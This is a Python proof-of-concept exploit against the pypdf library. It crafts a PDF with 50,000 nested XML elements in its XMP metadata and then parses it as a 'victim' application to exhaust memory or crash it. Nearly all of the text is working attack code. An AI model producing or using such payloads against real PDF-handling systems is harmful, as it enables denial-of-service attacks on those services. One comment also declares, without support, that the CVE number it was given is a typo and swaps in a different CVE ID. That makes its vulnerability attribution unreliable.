Vulnerable code sample

# This code requires a vulnerable version of pypdf, e.g., 'pip install pypdf<3.12.1'
# The CVE in the prompt (CVE-2026-48735) appears to be a typo for the real CVE-2023-48735,
# which was fixed in version 3.12.1. This code demonstrates that vulnerability.

from pypdf import PdfReader, PdfWriter
from io import BytesIO

# 1. Attacker crafts a PDF with excessively large and nested XMP metadata.
# We will simulate this by creating such a PDF in memory.
def create_malicious_pdf():
    writer = PdfWriter()
    writer.add_blank_page(width=100, height=100) # A minimal valid PDF needs a page.

    # Create a huge, deeply nested XML string to exhaust the parser's memory/stack.
    # This mimics the "lots of unnecessary elements" from the CVE description.
    nested_element_count = 50000  # A large number to cause high memory usage
    malicious_payload = "<deep>" * nested_element_count + "exploit" + "</deep>" * nested_element_count

    # Embed the payload within a standard XMP structure.
    xmp_data = f"""
    <?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
    <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c011 79.156380, 2014/05/21-23:50:20        ">
       <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
          <rdf:Description rdf:about=""
                xmlns:dc="http://purl.org/dc/elements/1.1/">
             <dc:description>
                <rdf:Alt>
                   <rdf:li xml:lang="x-default">{malicious_payload}</rdf:li>
                </rdf:Alt>
             </dc:description>
          </rdf:Description>
       </rdf:RDF>
    </x:xmpmeta>
    <?xpacket end="w"?>
    """
    
    # Add the malicious XMP metadata to the PDF writer object
    writer.add_xmp_metadata(xmp_data)

    # Write the PDF to an in-memory buffer
    pdf_buffer = BytesIO()
    writer.write(pdf_buffer)
    pdf_buffer.seek(0)
    return pdf_buffer

# 2. A victim's application parses the crafted PDF.
# The vulnerability is triggered simply by accessing the `xmp_metadata` property.
def process_pdf(pdf_stream):
    print("Victim script is opening the PDF...")
    try:
        reader = PdfReader(pdf_stream)
        
        print("Attempting to access XMP metadata... This may cause high memory usage or a crash.")
        
        # In vulnerable versions, this line triggers the excessive memory allocation
        # as the library tries to parse the massive XML tree.
        metadata = reader.xmp_metadata
        
        print("XMP metadata processed successfully (unlikely on vulnerable versions).")
        # In a real scenario, the program might never reach this line.
        
    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    malicious_pdf_stream = create_malicious_pdf()
    process_pdf(malicious_pdf_stream)